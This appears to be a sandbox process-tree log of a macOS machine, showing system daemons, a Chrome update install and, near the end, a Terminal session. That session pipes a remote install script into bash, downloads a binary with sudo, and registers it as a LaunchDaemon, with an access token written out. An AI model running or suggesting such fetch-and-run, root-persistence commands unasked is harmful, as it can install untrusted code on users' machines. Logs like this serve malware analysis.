        "/System/Applications/Utilities/System Information.app/Contents/MacOS/System Information"
        5⤵
        
        PID:525
    - - /Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
        
        GoogleUpdater --server "--service=update" --system
        5⤵
        
        PID:0
      - /Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
        
        "/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --crash-handler --system "--database=/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/Crashpad" "--url=https://clients2.google.com/cr/report" "--annotation=prod=Update4" "--annotation=ver=128.0.6597.0" "--handshake-fd=5"
        6⤵
        
        PID:1.8446744073709552e+19
      - /usr/sbin/system_profiler
        
        /usr/sbin/system_profiler SPConfigurationProfileDataType -detailLevel mini -timeout 15 -xml
        6⤵
        
        PID:526
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.system_installd
        6⤵
        
        PID:535
      - /System/Library/PrivateFrameworks/PackageKit.framework/Resources/system_installd
        
        /System/Library/PrivateFrameworks/PackageKit.framework/Resources/system_installd
        6⤵
        
        PID:535
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.installd
        6⤵
        
        PID:537
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.storedownloadd
        6⤵
        
        PID:539
      - /System/Library/PrivateFrameworks/PackageKit.framework/Resources/installd
        
        /System/Library/PrivateFrameworks/PackageKit.framework/Resources/installd
        6⤵
        
        PID:537
      - /System/Library/PrivateFrameworks/CommerceKit.framework/Versions/A/Resources/storedownloadd
        
        /System/Library/PrivateFrameworks/CommerceKit.framework/Versions/A/Resources/storedownloadd
        6⤵
        
        PID:539
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.ReportMemoryException
        6⤵
        
        PID:540
      - /usr/libexec/ReportMemoryException
        
        /usr/libexec/ReportMemoryException
        6⤵
        
        PID:540
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.replayd
        6⤵
        
        PID:541
      - /usr/libexec/replayd
        
        /usr/libexec/replayd
        6⤵
        
        PID:541
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.Safari.CacheDeleteExtension 530
        6⤵
        
        PID:542
      - /Applications/Safari.app/Contents/PlugIns/CacheDeleteExtension.appex/Contents/MacOS/CacheDeleteExtension
        
        /Applications/Safari.app/Contents/PlugIns/CacheDeleteExtension.appex/Contents/MacOS/CacheDeleteExtension
        6⤵
        
        PID:542
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=113"
        6⤵
        
        PID:545
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=77"
        6⤵
        
        PID:546
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=115"
        6⤵
        
        PID:547
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=115"
        6⤵
        
        PID:548
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=115"
        6⤵
        
        PID:549
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --extension-process --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=21" "--launch-time-ticks=319928560" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=121"
        6⤵
        
        PID:550
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.nsurlstoraged
        6⤵
        
        PID:551
      - /usr/libexec/nsurlstoraged
        
        /usr/libexec/nsurlstoraged --privileged
        6⤵
        
        PID:551
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=128"
        6⤵
        
        PID:553
      - /usr/bin/hdiutil
        
        /usr/bin/hdiutil attach /var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/.com.google.Chrome.2mbzdP/GoogleChrome-128.0.6613.138.dmg -plist -nobrowse -readonly
        6⤵
        
        PID:556
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.hdiejectd
        6⤵
        
        PID:558
      - /System/Library/PrivateFrameworks/DiskImages.framework/Resources/hdiejectd
        
        /System/Library/PrivateFrameworks/DiskImages.framework/Resources/hdiejectd
        6⤵
        
        PID:558
      - /System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper
        
        /System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper -uuid C480D0CB-01C4-4FEA-99EC-3B5CC2C0A4F4
        6⤵
        
        PID:559
      - /System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper
        
        /System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper -uuid C480D0CB-01C4-4FEA-99EC-3B5CC2C0A4F4 -post-exec 4
        6⤵
        
        PID:560
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.systempreferences.2140
        6⤵
        
        PID:561
      - /System/Applications/System Preferences.app/Contents/MacOS/System Preferences
        
        "/System/Applications/System Preferences.app/Contents/MacOS/System Preferences"
        6⤵
        
        PID:561
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.metadata.mdwrite
        6⤵
        
        PID:562
      - /System/Library/PreferencePanes/ClassroomSettings.prefPane/Contents/Resources/ClassroomSettingsVisibilityCheckTool
        
        /System/Library/PreferencePanes/ClassroomSettings.prefPane/Contents/Resources/ClassroomSettingsVisibilityCheckTool
        6⤵
        
        PID:563
      - /System/Library/PreferencePanes/Profiles.prefPane/Contents/Resources/CPPrefPaneEnabledTool
        
        /System/Library/PreferencePanes/Profiles.prefPane/Contents/Resources/CPPrefPaneEnabledTool
        6⤵
        
        PID:564
      - /System/Library/PreferencePanes/Sidecar.prefPane/Contents/Resources/sidecarPrefCheck
        
        /System/Library/PreferencePanes/Sidecar.prefPane/Contents/Resources/sidecarPrefCheck
        6⤵
        
        PID:565
      - /System/Library/PreferencePanes/TouchID.prefPane/Contents/Resources/AllowPasswordPref
        
        /System/Library/PreferencePanes/TouchID.prefPane/Contents/Resources/AllowPasswordPref
        6⤵
        
        PID:566
      - /System/Library/PreferencePanes/Wallet.prefPane/Contents/Resources/walletAvailabilityCheckTool
        
        /System/Library/PreferencePanes/Wallet.prefPane/Contents/Resources/walletAvailabilityCheckTool
        6⤵
        
        PID:567
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.AccountProfileRemoteViewService 561
        6⤵
        
        PID:568
      - /System/Library/PrivateFrameworks/AOSUI.framework/Versions/A/XPCServices/AccountProfileRemoteViewService.xpc/Contents/MacOS/AccountProfileRemoteViewService
        
        /System/Library/PrivateFrameworks/AOSUI.framework/Versions/A/XPCServices/AccountProfileRemoteViewService.xpc/Contents/MacOS/AccountProfileRemoteViewService
        6⤵
        
        PID:568
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.nfcd
        6⤵
        
        PID:571
      - /usr/libexec/nfcd
        
        /usr/libexec/nfcd
        6⤵
        
        PID:571
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.studentd
        6⤵
        
        PID:572
      - /usr/libexec/studentd
        
        /usr/libexec/studentd
        6⤵
        
        PID:572
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.preferences.softwareupdate.remoteservice 561
        6⤵
        
        PID:573
      - /System/Library/PreferencePanes/SoftwareUpdate.prefPane/Contents/XPCServices/com.apple.preferences.softwareupdate.remoteservice.xpc/Contents/MacOS/com.apple.preferences.softwareupdate.remoteservice
        
        /System/Library/PreferencePanes/SoftwareUpdate.prefPane/Contents/XPCServices/com.apple.preferences.softwareupdate.remoteservice.xpc/Contents/MacOS/com.apple.preferences.softwareupdate.remoteservice
        6⤵
        
        PID:573
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.softwareupdated
        6⤵
        
        PID:574
      - /System/Library/CoreServices/Software Update.app/Contents/Resources/softwareupdated
        
        "/System/Library/CoreServices/Software Update.app/Contents/Resources/softwareupdated"
        6⤵
        
        PID:574
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.suhelperd
        6⤵
        
        PID:575
      - /System/Library/CoreServices/Software Update.app/Contents/Resources/suhelperd
        
        "/System/Library/CoreServices/Software Update.app/Contents/Resources/suhelperd"
        6⤵
        
        PID:575
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=121"
        6⤵
        
        PID:578
      - /System/Library/SystemConfiguration/PrinterNotifications.bundle/Contents/MacOS/makequeues
        
        /System/Library/SystemConfiguration/PrinterNotifications.bundle/Contents/MacOS/makequeues -z
        6⤵
        
        PID:579
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.SoftwareUpdateNotificationManager
        6⤵
        
        PID:581
      - /System/Library/PrivateFrameworks/SoftwareUpdate.framework/Resources/SoftwareUpdateNotificationManager.app/Contents/MacOS/SoftwareUpdateNotificationManager
        
        /System/Library/PrivateFrameworks/SoftwareUpdate.framework/Resources/SoftwareUpdateNotificationManager.app/Contents/MacOS/SoftwareUpdateNotificationManager
        6⤵
        
        PID:581
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.rtcreportingd
        6⤵
        
        PID:583
      - /usr/libexec/rtcreportingd
        
        /usr/libexec/rtcreportingd
        6⤵
        
        PID:583
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.spindump
        6⤵
        
        PID:585
      - /usr/sbin/spindump
        
        /usr/sbin/spindump
        6⤵
        
        PID:585
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.tailspind
        6⤵
        
        PID:586
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.spindump_agent
        6⤵
        
        PID:587
      - /usr/libexec/tailspind
        
        /usr/libexec/tailspind
        6⤵
        
        PID:586
      - /usr/libexec/spindump_agent
        
        /usr/libexec/spindump_agent
        6⤵
        
        PID:587
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=121"
        6⤵
        
        PID:588
      - /System/Library/SystemConfiguration/PrinterNotifications.bundle/Contents/MacOS/makequeues
        
        /System/Library/SystemConfiguration/PrinterNotifications.bundle/Contents/MacOS/makequeues -z
        6⤵
        
        PID:589
      - /System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util
        
        /System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -p disk3s2 removable readonly
        6⤵
        
        PID:590
      - /System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util
        
        /System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -k disk3s2
        6⤵
        
        PID:591
      - /System/Library/Filesystems/hfs.fs/Contents/Resources/./fsck_hfs
        
        /System/Library/Filesystems/hfs.fs/Contents/Resources/./fsck_hfs -q /dev/rdisk3s2
        6⤵
        
        PID:592
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.hdiejectd
        6⤵
        
        PID:593
      - /System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util
        
        /System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -p disk3s2 removable readonly
        6⤵
        
        PID:594
      - /System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util
        
        /System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -k disk3s2
        6⤵
        
        PID:595
      - /System/Library/Filesystems/hfs.fs/Contents/Resources/./fsck_hfs
        
        /System/Library/Filesystems/hfs.fs/Contents/Resources/./fsck_hfs -q /dev/rdisk3s2
        6⤵
        
        PID:596
      - /sbin/mount
        
        /sbin/mount -t hfs -o "-u=99,-g=99,-m=755,nodev,noowners,nosuid,rdonly,nobrowse" /dev/disk3s2 "/Volumes/Google Chrome"
        6⤵
        
        PID:597
        
        /sbin/mount_hfs
        
        /sbin/mount_hfs -u 99 -g 99 -m 755 -o nodev -o noowners -o nosuid -o rdonly -o nobrowse /dev/disk3s2 "/Volumes/Google Chrome"
        7⤵
        
        PID:598
      - /Volumes/Google Chrome/.keystone_install
        
        "/Volumes/Google Chrome/.keystone_install" "/Volumes/Google Chrome" "/Applications/Google Chrome.app" 101.0.4951.54
        6⤵
        
        PID:600
        
        /usr/bin/basename
        
        basename "/Volumes/Google Chrome/.keystone_install"
        7⤵
        
        PID:601
        
        /bin/mkdir
        
        mkdir -p "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions"
        7⤵
        
        PID:616
        
        /usr/bin/rsync
        
        rsync --ignore-times --links --perms --recursive --times --delete-before "/Volumes/Google Chrome/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/128.0.6613.138/" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/128.0.6613.138"
        7⤵
        
        PID:617
        
        /usr/bin/rsync
        
        rsync --ignore-times --links --perms --recursive --times --delete-after "--include=/Contents/Frameworks/Google Chrome Framework.framework/Versions/Current" "--exclude=/Contents/Frameworks/Google Chrome Framework.framework/Versions/*" "--exclude=/Contents/Versions/*" "/Volumes/Google Chrome/Google Chrome.app/" "/Applications/Google Chrome.app"
        7⤵
        
        PID:624
        
        /bin/rm
        
        rm -f "/Applications/Google Chrome.app/.want_full_installer"
        7⤵
        
        PID:628
        
        /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister
        
        /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f "/Applications/Google Chrome.app"
        7⤵
        
        PID:639
        
        /usr/bin/dirname
        
        dirname "/Library/Google/Google Chrome Brand.plist"
        7⤵
        
        PID:643
        
        /bin/mkdir
        
        mkdir -p /Library/Google
        7⤵
        
        PID:644
        
        /usr/bin/defaults
        
        defaults write "/Library/Google/Google Chrome Brand" KSBrandID -string GGRO
        7⤵
        
        PID:645
        
        /usr/sbin/chown
        
        chown root:wheel "/Library/Google/Google Chrome Brand.plist"
        7⤵
        
        PID:646
        
        /bin/chmod
        
        chmod 644 "/Library/Google/Google Chrome Brand.plist"
        7⤵
        
        PID:647
        
        /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin
        
        ksadmin --register --productid com.google.Chrome --version 128.0.6613.138 --xcpath "/Applications/Google Chrome.app" --url https://tools.google.com/service/update2 --tag universal --tag-path "/Applications/Google Chrome.app/Contents/Info.plist" --tag-key KSChannelID --brand-path "/Library/Google/Google Chrome Brand.plist" --brand-key KSBrandID --version-path "/Applications/Google Chrome.app/Contents/Info.plist" --version-key KSVersion
        7⤵
        
        PID:652
        
        /bin/rm
        
        rm -rf "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/95.0.4638.69"
        7⤵
        
        PID:660
        
        /usr/sbin/chown
        
        chown -Rh root:wheel "/Applications/Google Chrome.app"
        7⤵
        
        PID:661
        
        /bin/chmod
        
        chmod -R "a+rX,u+w,go-w" "/Applications/Google Chrome.app"
        7⤵
        
        PID:662
        
        /usr/bin/find
        
        find "/Applications/Google Chrome.app" -type l -exec chmod -h "a+rX,u+w,go-w" "{}" +
        7⤵
        
        PID:663
        
        /bin/chmod
        
        chmod -h "a+rX,u+w,go-w" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Default Apps" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Resources" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/KeystoneRegistration" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Versions/Current" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Helpers" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/Current" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/128.0.6613.138/Helpers/GoogleUpdater.app/Contents/Helpers/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksadmin" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Libraries" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Google Chrome Framework" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Helpers"
        8⤵
        
        PID:664
        
        /usr/bin/xattr
        
        xattr -d -r com.apple.quarantine "/Applications/Google Chrome.app"
        7⤵
        
        PID:665
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=124"
        6⤵
        
        PID:621
      - /System/Library/PrivateFrameworks/DiskImages.framework/Resources/hdiejectd
        
        /System/Library/PrivateFrameworks/DiskImages.framework/Resources/hdiejectd
        6⤵
        
        PID:593
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=26" "--launch-time-ticks=399334154" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=123"
        6⤵
        
        PID:622
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=69"
        6⤵
        
        PID:623
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=69"
        6⤵
        
        PID:626
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.ReportMemoryException
        6⤵
        
        PID:640
      - /usr/libexec/ReportMemoryException
        
        /usr/libexec/ReportMemoryException
        6⤵
        
        PID:640
      - /usr/bin/hdiutil
        
        /usr/bin/hdiutil detach "/Volumes/Google Chrome" -force
        6⤵
        
        PID:669
      - /sbin/umount
        
        /sbin/umount -f "/Volumes/Google Chrome"
        6⤵
        
        PID:670
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.security.DiskUnmountWatcher
        6⤵
        
        PID:671
      - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,17616966300602874825,3758211533974880581,131072" "--seatbelt-client=69"
        6⤵
        
        PID:673
      - /System/Library/PrivateFrameworks/KerberosHelper/Helpers/DiskUnmountWatcher
        
        /System/Library/PrivateFrameworks/KerberosHelper/Helpers/DiskUnmountWatcher
        6⤵
        
        PID:671
      - /bin/sh
        
        sh -c /usr/sbin/kextstat
        6⤵
        
        PID:675
      - /bin/bash
        
        sh -c /usr/sbin/kextstat
        6⤵
        
        PID:675
      - /usr/sbin/kextstat
        
        /usr/sbin/kextstat
        6⤵
        
        PID:675
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.mobile.keybagd
        6⤵
        
        PID:676
      - /usr/libexec/keybagd
        
        /usr/libexec/keybagd -t 15
        6⤵
        
        PID:676
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.Terminal.2100
        6⤵
        
        PID:696
      - /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
        
        /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
        6⤵
        
        PID:696
        
        /usr/bin/login
        
        login -pf run
        7⤵
        
        PID:697
        
        /bin/zsh
        
        -zsh
        8⤵
        
        PID:701
        
        /usr/libexec/path_helper
        
        /usr/libexec/path_helper -s
        9⤵
        
        PID:702
        
        /usr/bin/locale
        
        locale LC_CTYPE
        9⤵
        
        PID:703
        
        /bin/bash
        
        bash -s -- --token 581abfd86b90c12c076e5a9759ab7ed8a85309e09214eb611f12b36fd8266dd0 --server https://servermonitor.asherheisman.com
        9⤵
        
        PID:708
        
        /usr/bin/uname
        
        uname -m
        10⤵
        
        PID:712
        
        /bin/mkdir
        
        mkdir -p /usr/local/bin
        10⤵
        
        PID:713
        
        /usr/bin/sudo
        
        sudo curl -sL -o /usr/local/bin/server-monitor-agent https://servermonitor.asherheisman.com/agent/bin/agent_darwin_amd64
        10⤵
        
        PID:714
        
        /usr/bin/curl
        
        curl -sL -o /usr/local/bin/server-monitor-agent https://servermonitor.asherheisman.com/agent/bin/agent_darwin_amd64
        11⤵
        
        PID:735
        
        /usr/bin/sudo
        
        sudo chmod +x /usr/local/bin/server-monitor-agent
        10⤵
        
        PID:736
        
        /bin/chmod
        
        chmod +x /usr/local/bin/server-monitor-agent
        11⤵
        
        PID:737
        
        /usr/bin/sudo
        
        sudo mkdir -p /usr/local/etc/server-monitor-agent
        10⤵
        
        PID:738
        
        /bin/mkdir
        
        mkdir -p /usr/local/etc/server-monitor-agent
        11⤵
        
        PID:739
        
        /usr/bin/sudo
        
        sudo tee /usr/local/etc/server-monitor-agent/config.json
        10⤵
        
        PID:741
        
        /usr/bin/tee
        
        tee /usr/local/etc/server-monitor-agent/config.json
        11⤵
        
        PID:742
        
        /bin/cat
        
        cat
        10⤵
        
        PID:740
        
        /bin/cat
        
        cat
        10⤵
        
        PID:743
        
        /usr/bin/sudo
        
        sudo tee /Library/LaunchDaemons/com.servermonitor.agent.plist
        10⤵
        
        PID:744
        
        /usr/bin/tee
        
        tee /Library/LaunchDaemons/com.servermonitor.agent.plist
        11⤵
        
        PID:745
        
        /usr/bin/sudo
        
        sudo launchctl load /Library/LaunchDaemons/com.servermonitor.agent.plist
        10⤵
        
        PID:746
        
        /bin/launchctl
        
        launchctl load /Library/LaunchDaemons/com.servermonitor.agent.plist
        11⤵
        
        PID:747
        
        /usr/bin/curl
        
        curl -sL https://servermonitor.asherheisman.com/agent/install.sh
        9⤵
        
        PID:707
        
        /usr/bin/clear
        
        clear
        9⤵
        
        PID:758
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.audio.systemsoundserverd
        6⤵
        
        PID:698
      - /usr/sbin/systemsoundserverd
        
        /usr/sbin/systemsoundserverd
        6⤵
        
        PID:698
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.audio.AudioComponentRegistrar
        6⤵
        
        PID:699
      - /System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar
        
        /System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar -daemon
        6⤵
        
        PID:699
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.AccountPolicyHelper
        6⤵
        
        PID:700
      - /System/Library/PrivateFrameworks/AccountPolicy.framework/XPCServices/com.apple.AccountPolicyHelper.xpc/Contents/MacOS/com.apple.AccountPolicyHelper
        
        /System/Library/PrivateFrameworks/AccountPolicy.framework/XPCServices/com.apple.AccountPolicyHelper.xpc/Contents/MacOS/com.apple.AccountPolicyHelper
        6⤵
        
        PID:700
      - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.PerformanceAnalysis.animationperfd
        6⤵
        
        PID:704
      - /System/Library/PrivateFrameworks/PerformanceAnalysis.framework/Versions/A/XPCServices/com.apple.PerformanceAnalysis.animationperfd.xpc/Contents/MacOS/com.apple.PerformanceAnalysis.animationperfd
        
        /System/Library/PrivateFrameworks/PerformanceAnalysis.framework/Versions/A/XPCServices/com.apple.PerformanceAnalysis.animationperfd.xpc/Contents/MacOS/com.apple.PerformanceAnalysis.animationperfd
        6⤵
        
        PID:704
